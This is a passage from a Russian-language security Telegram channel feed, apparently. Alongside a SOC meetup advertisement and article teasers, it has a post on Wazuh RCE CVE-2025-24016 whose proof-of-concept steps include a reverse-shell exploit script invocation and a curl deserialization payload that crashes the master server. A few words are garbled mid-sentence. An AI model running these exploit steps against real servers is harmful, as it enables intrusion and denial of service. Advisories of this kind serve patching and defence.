Похек

В условиях роста количества и усложнения кибератак отсутствие автоматизированных подходов к реагированию на инциденты ИБ увеличивает риски для бизнеса. Только 36% компаний выявляют нарушителей в большинстве случаев, а почти четверть уже сталкивались с критичными кибератаками. К2 Кибербезопасность и Kaspersky провели более 100 глубинных интервью в Enterprise-сегменте и выяснили, как бизнес подходит к построению процессов мониторинга и реагирования. 20 февраля в 11:00 мск в формате живого диалога обсудим результаты исследования и поделимся экспертным прогнозом о развитии рынка SOC. В программе встречи: ✅ Как SOC ускоряет обнаружение и устранение инцидентов ✅ В чем преимущества MSSP-модели по сравнению с другими моделями ✅ О чем надо помнить при построении собственного SOC ✅ На что нужно обращать внимание при выборе провайдера услуг. Кстати, все зарегистрированные участники в числе первых получат полный текст исследования до митапа. Зарегистрироваться на онлайн-митап можно по ссылке 😉 Реклама. АО "К2 ИНТЕГРАЦИЯ". ИНН 7701829110

Wazuh RCE via Unsafe Deserialization CVE-2025-24016 #CVE@poxek #wazuh #deserialization #RCE В Wazuh-серверах (используемых для предотвращения, обнаружения и реагирования на угрозы) обнаружена критическая уязвимость, связанная с небезопасной десериализацией данных. Проблема возникает из-за способа сериализасположенную в framework/wazuh/core/cluster/common.py). Если злоумышленник внедрит небезопасный словарь в запрос или ответ DAPI, это может привести к генерации необработанного исключения (__unhandled_exc__) и, как следствие, выполнению произвольного Python-кода, что позволяет дистанционно выполнить код на сервере. ➡️Уязвимые версии От версии 4.4.0 до версии 4.9.0 (уязвимость устранена в версии 4.9.1) PoC 1. Эксплойт на python3 git clone github.com/...git cd CVE-2025-24016/ python3 -m venv venv; source venv/bin/activate pip install -r requirements.txt Скрипт позволяет сразу сделать reverse shell python3 CVE-2025-24016.py -u <url> -i <IP> -p <PORT> PoC 2. Шаблон для nuclei wget raw.githubusercontent.com/...aml Там есть пометка в комментах, что если есть авторизация, то раскомментировать строку PoC 3. Ручная эксплуатация curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"unhandled_exc":{"class": "exit", "args": []}}' <worker-server>:55000/..._as Этот запрос эксплуатирует некорректную десериализацию и приведёт к завершению работы мастер-сервера. 📌Пояснение к уязвимости от разработчиков Wazuh ТЫК ➡️Рекомендации ▪️Обновление ПО: Обязательно обновите Wazuh до версии 4.9.1 или выше, где уязвимость устранена. ▪️Ограничение доступа: Проверьте и ограничьте доступ к API. 🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit #nvidia #CVE@poxek #container В сентябре 2024 года компания WIZ обнаружила критическую уязвимость в системе безопасности, обозначенную как CVE-2024-0132, которая затрагивала все версии NVIDIA Container Toolkit. Уязвимость была устранена в NVIDIA Container Toolkit v1.16.2 и NVIDIA GPU Operator v24.6.2, однако технические детали раскрыты только 11 февраля 2024 года. В рамках нашей работы нам пришлось разобрать патч и проэксплуатировать эту уязвимость до выхода информации от авторов оригинальной уязвимости. P.s. респект команде Luntry ➡️Подробности 🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча

Обычная практика Threat Hunting и причем тут пирамида боли #TI #threatintelligence #threathunting Привет Хабр! Меня зовут Иван Костыря, и я работаю в команде VK SOC, а точнее — в группе реагирования, куда стекаются все подозрения на инциденты информационной безопасности в компании. Сегодня хочу рассказать немного о том, как мы ищем угрозы в периметре компании, какие средства и техники для этого используем. Если коротко, то этот процесс можно описать так — мы задаем себе очень много вопросов и постоянно ищем на них ответы. Статья будет интересна начинающим специалистам: здесь я обобщил основные практики и рекомендации, которые выработаны в индустрии и проверены опытом нашей команды. P.S. мы уже с одним из админом начали готовить для вас материал по TI, всё по просьбе подписчиков) Stay tuned 🍞 ➡️Читать далее 🌚 @poxek | 📺 YT | 📺 RT | 📺 VK | 🌚 Магазин мерча